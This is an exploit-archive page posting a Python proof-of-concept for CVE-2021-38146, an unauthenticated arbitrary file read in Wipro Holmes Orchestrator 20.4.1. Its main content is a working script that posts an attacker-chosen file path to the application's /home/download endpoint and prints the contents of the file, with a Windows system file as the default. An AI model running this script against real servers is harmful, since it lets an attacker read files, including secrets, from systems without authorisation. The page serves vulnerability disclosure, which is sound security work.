Wipro Holmes Orchestrator 20.4.1 Arbitrary File Download

Authored by Rizal Muhammed | Posted Nov 15, 2021

Wipro Holmes Orchestrator version 20.4.1 unauthenticated arbitrary file reading proof of concept exploit.

tags | exploit, arbitrary, proof of concept
advisories | CVE-2021-38146
SHA-256 | aa43fdedfc7f5227a2a020d9bd25796fe6699fb9bbb47484e3814e5633c6039b | Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror | Download

```
# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Read PoC
# Date: 05/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38146

import requests as rq
import argparse

port = 8001    # change port if application is running on different port

def file_download(host, filepath):
  vuln_url = "http://%s:%s/home/download" % (host, port)
  data = {
    "SearchString": filepath,
    "Msg": ""
  }

  hdr = {
    "content-type": "application/json"
  }

  resp = rq.post(vuln_url, headers=hdr, json=data)

  print resp.text

def main():
  parser = argparse.ArgumentParser(
      description="CVE-2021-38146 - Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Download",
      epilog="Vulnerability Discovery and PoC Author - Rizal Muhammed @ub3rsick"
    )
  parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
  parser.add_argument("-f","--file-path", help="Absolute Path of the file to download",
default="C:/Windows/Win.ini")
  args = parser.parse_args()

  if "\\" in args.file_path:
    fp = args.file_path.replace("\\", "/")
  else:
    fp = args.file_path
  file_download(args.target_ip, fp)

if __name__ == "__main__":
  main()
```

Login or Register to add favorites

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed